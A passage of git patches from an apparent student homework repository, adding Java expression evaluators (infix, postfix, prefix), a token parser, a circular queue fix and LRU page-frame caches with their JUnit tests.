+						&& !token.hasHigherPriority(opStack.peek())){
+					Token prevOperator = opStack.pop();
+					Float f2 = numStack.pop();
+					Float f1 = numStack.pop();
+					Float result = calculate(prevOperator.toString(), f1,f2);
+					numStack.push(result);						
+					
+				}
+				opStack.push(token);
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1,f2));
+		}
+		
+		
+		return numStack.pop().floatValue();
+	}
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+	
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExprTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20e34e8852
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..9e501eda20
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,43 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+
+	public static List<Token> convert(String expr) {
+		List<Token> inFixTokens = new TokenParser().parse(expr);
+		
+		List<Token> postFixTokens = new ArrayList<>();
+		
+		Stack<Token> opStack = new Stack<Token>();
+		for(Token token : inFixTokens){
+			
+			if(token.isOperator()){
+				
+				while(!opStack.isEmpty() 
+						&& !token.hasHigherPriority(opStack.peek())){
+					postFixTokens.add(opStack.pop());					
+					
+				}
+				opStack.push(token);		
+				
+			}
+			if(token.isNumber()){
+				
+				postFixTokens.add(token);
+				
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			postFixTokens.add(opStack.pop());	
+		}
+		
+		return postFixTokens;
+	}
+
+	
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfixTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..f879f55f14
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		{
+			List<Token> tokens = InfixToPostfix.convert("2+3");
+			Assert.assertEquals("[2, 3, +]", tokens.toString());
+		}
+		{
+		
+			List<Token> tokens = InfixToPostfix.convert("2+3*4");
+			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
+		}
+		
+		{
+			
+			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
+			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
+		}
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..c54eb69e2a
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,46 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Float> numStack = new Stack<>();
+		for(Token token : tokens){
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			} else{
+				Float f2 = numStack.pop();
+				Float f1 = numStack.pop();
+				numStack.push(calculate(token.toString(),f1,f2));
+			}
+		}
+		return numStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..c0435a2db5
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..f811fd6d9a
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		Stack<Token> exprStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		for(Token token : tokens){
+			exprStack.push(token);
+		}
+		
+		while(!exprStack.isEmpty()){
+			Token t = exprStack.pop();
+			if(t.isNumber()){
+				numStack.push(new Float(t.getIntValue()));
+			}else{
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				numStack.push(calculate(t.toString(),f1,f2));
+				
+			}		
+		}
+		return numStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/Token.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..8579743fe9
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..d3b0f167e1
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParserTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..399d3e857e
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From 7a125ea338557720a25434bf7de18766d7d0a2c9 Mon Sep 17 00:00:00 2001
From: sulei <sulei0205@foxmail.com>
Date: Sun, 7 May 2017 21:56:55 +0800
Subject: [PATCH 229/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A=E4=BF=AE=E6=AD=A3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coding/basic/queue/CircleQueue.java   | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java
index 8bd2577c53..310817f374 100644
--- a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java
@@ -1,5 +1,7 @@
 package com.coding.basic.queue;
 
+import javax.management.RuntimeErrorException;
+
 public class CircleQueue <E> {
 
 	//用数组来保存循环队列的元素
@@ -34,13 +36,22 @@ public void enQueue(E data) {
     }
 
     public E deQueue() {
-        if(isEmpty()){
+        /*if(isEmpty()){
         	throw new RuntimeException("The queue is empty");
         }
         E data = (E)elementData[front];
         elementData[front] = null;
         front = (front+1) % elementData.length;
         size --;
-        return data;
+        return data ;*/
+    	if (isEmpty()){
+    		throw new RuntimeException("is empty");
+    	}
+    		E data = (E)elementData[front];
+    		elementData[front] = null;
+    		front = (front + 1) % elementData.length;
+    		size --;
+    		return data;
+    	
     }
 }

From a5fbec9e2261412d8cbc42f7598d2177f2f51dd0 Mon Sep 17 00:00:00 2001
From: cmhello88 <cm_20094020@163.com>
Date: Sun, 7 May 2017 22:38:38 +0800
Subject: [PATCH 230/262] =?UTF-8?q?3=E6=9C=8830=E5=8F=B7=EF=BC=8CJVM?=
 =?UTF-8?q?=E7=AC=AC=E4=B8=80=E6=AC=A1=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A=EF=BC=8C=E5=AE=9E=E7=8E=B0=E7=AE=80=E5=8D=95?=
 =?UTF-8?q?=E7=9A=84LRU=E7=AE=97=E6=B3=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding/basic/linklist/CmLRUPageFrame.java |  69 ++++++++
 .../coding/basic/linklist/LRUPageFrame.java   | 163 ++++++++++++++++++
 .../jvm/test/ClassFileloaderTest.java         |   6 +
 .../basic/linklist/LRUPageFrameTest.java      |  34 ++++
 4 files changed, 272 insertions(+)
 create mode 100644 group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java
 create mode 100644 group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java

diff --git a/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java
new file mode 100644
index 0000000000..890db81fb5
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java
@@ -0,0 +1,69 @@
+package com.coding.basic.linklist;
+
+/**
+ * 
+ * @author chenming E-mail:cm_20094020@163.com
+ * @version 创建时间：2017年4月10日 上午12:35:03
+ */
+public class CmLRUPageFrame {
+
+	private static class Node {
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	public CmLRUPageFrame(int capacity) {
+		this.capacity = capacity;
+
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param pageNum
+	 */
+	public void access(int pageNum) {
+		Node node = first;
+		Node foundNode = null;
+		while(node!=null){
+			if(node.pageNum==pageNum){
+				foundNode = node;
+			}
+			node = node.next;
+		}
+		
+		//在该队列中存在， 则提到队列头
+		if(foundNode!=null){
+			
+		}else{
+			
+		}
+		
+		
+		
+	}
+
+	@Override
+	public String toString() {
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while (node != null) {
+			buffer.append(node.pageNum);
+			node = node.next;
+			if (node != null) {
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..3dba1b554b
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,163 @@
+package com.coding.basic.linklist;
+
+
+/**
+ * 实现一个简单的LRU算法，即是 Least Recently Used 近期最少使用算法 
+ * 作用：需要维护一个页面中的栈，并且需要把某一个页面从栈中提到栈顶，用硬件实现的话，开销比较大，注意：实际上并不是一个真正的栈
+ * @author Administrator
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		Node node = find(pageNum);
+		//在该队列中存在， 则提到队列头
+		if (node != null) {
+			
+			moveExistingNodeToHead(node);		
+			
+		} else{
+			
+			node = new Node();
+			node.pageNum = pageNum;
+			
+			// 缓存容器是否已经超过大小.
+			if (currentSize >= capacity) {			
+				removeLast();
+							
+			} 
+			
+			addNewNodetoHead(node);
+			
+			
+			
+						
+		}
+	}
+	
+	private void addNewNodetoHead(Node node) {
+		
+		if(isEmpty()){
+			
+			node.prev = null;
+			node.next = null;
+			first = node;
+			last = node;
+			
+		} else{
+			node.prev = null;
+			node.next = first;
+			first.prev = node;
+			first = node;
+		}
+		this.currentSize ++;
+	}
+
+	private Node find(int data){
+		
+		Node node = first;
+		while(node != null){
+			if(node.pageNum == data){
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+		
+	}
+
+
+	/**
+	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
+	 */
+	private void removeLast() {
+		Node prev = last.prev;
+		prev.next = null;
+		last.prev = null;
+		last = prev;
+		this.currentSize --;
+	}
+
+	/**
+	 * 移动到链表头，表示这个节点是最新使用过的
+	 * 
+	 * @param node
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		
+		if (node == first) {
+			
+			return;
+		}
+		else if(node == last){
+			//当前节点是链表尾， 需要放到链表头
+			Node prevNode = node.prev;
+			prevNode.next = null;	
+			last.prev = null;
+			last  = prevNode;				
+			
+		} else{
+			//node 在链表的中间， 把node 的前后节点连接起来
+			Node prevNode = node.prev;
+			prevNode.next = node.next;
+			
+			Node nextNode = node.next;
+			nextNode.prev = prevNode;
+			
+			
+		}
+		
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;	
+		
+	}
+	private boolean isEmpty(){		
+		return (first == null) && (last == null);
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
index 3f7c043ec5..cf4108c0d9 100644
--- a/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -77,5 +77,11 @@ private String byteToHexString(byte[] codes ){
 		}
 		return buffer.toString();
 	}
+	
+	public static void main(String[] args) {
+		System.out.println(0xFF);
+		System.out.println(Integer.toBinaryString(0xFF));
+		System.out.println(0x09);
+	}
 
 }
diff --git a/group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java b/group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..4ad236a4a2
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}

From 4416b8746b7eb9cd6b7b908d579377a9c24d6d43 Mon Sep 17 00:00:00 2001
From: cmhello88 <cm_20094020@163.com>
Date: Sun, 7 May 2017 22:38:38 +0800
Subject: [PATCH 231/262] =?UTF-8?q?4=E6=9C=885=E5=8F=B7=EF=BC=8CJVM?=
 =?UTF-8?q?=E4=B8=AD=E4=BB=85=E5=AE=8C=E6=88=90=E7=AC=AC=E4=BA=8C=E6=AC=A1?=
 =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding/basic/linklist/CmLRUPageFrame.java |  69 ++++++
 .../coding/basic/linklist/LRUPageFrame.java   | 163 ++++++++++++++
 .../jvm/test/ClassFileloaderTest.java         |   6 +
 .../basic/linklist/LRUPageFrameTest.java      |  34 +++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +++
 .../com/coderising/jvm/clz/ClassFile.java     |  75 +++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 ++
 .../coderising/jvm/constant/ClassInfo.java    |  24 +++
 .../coderising/jvm/constant/ConstantInfo.java |  29 +++
 .../coderising/jvm/constant/ConstantPool.java |  29 +++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++++
 .../jvm/constant/MethodRefInfo.java           |  55 +++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++++
 .../jvm/constant/NullConstantInfo.java        |  13 ++
 .../coderising/jvm/constant/StringInfo.java   |  26 +++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +++
 .../jvm/loader/ByteCodeIterator.java          |   5 +
 .../jvm/loader/ClassFileLoader.java           | 132 ++++++++++++
 .../jvm/loader/ClassFileParser.java           |  44 ++++
 .../java/com/coderising/jvm/util/Util.java    |  24 +++
 .../com/coding/basic/stack/StackUtil.java     | 179 +++++++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 203 ++++++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +++
 .../com/coding/basic/stack/StackUtilTest.java |  77 +++++++
 24 files changed, 1390 insertions(+)
 create mode 100644 group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java
 create mode 100644 group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/util/Util.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/main/java/com/coding/basic/stack/StackUtil.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/test/java/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group03/345943980/mini-jvm-0405/src/test/java/com/coding/basic/stack/StackUtilTest.java

diff --git a/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java
new file mode 100644
index 0000000000..890db81fb5
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/CmLRUPageFrame.java
@@ -0,0 +1,69 @@
+package com.coding.basic.linklist;
+
+/**
+ * 
+ * @author chenming E-mail:cm_20094020@163.com
+ * @version 创建时间：2017年4月10日 上午12:35:03
+ */
+public class CmLRUPageFrame {
+
+	private static class Node {
+		Node prev;
+		Node next;
+		int pageNum;
+
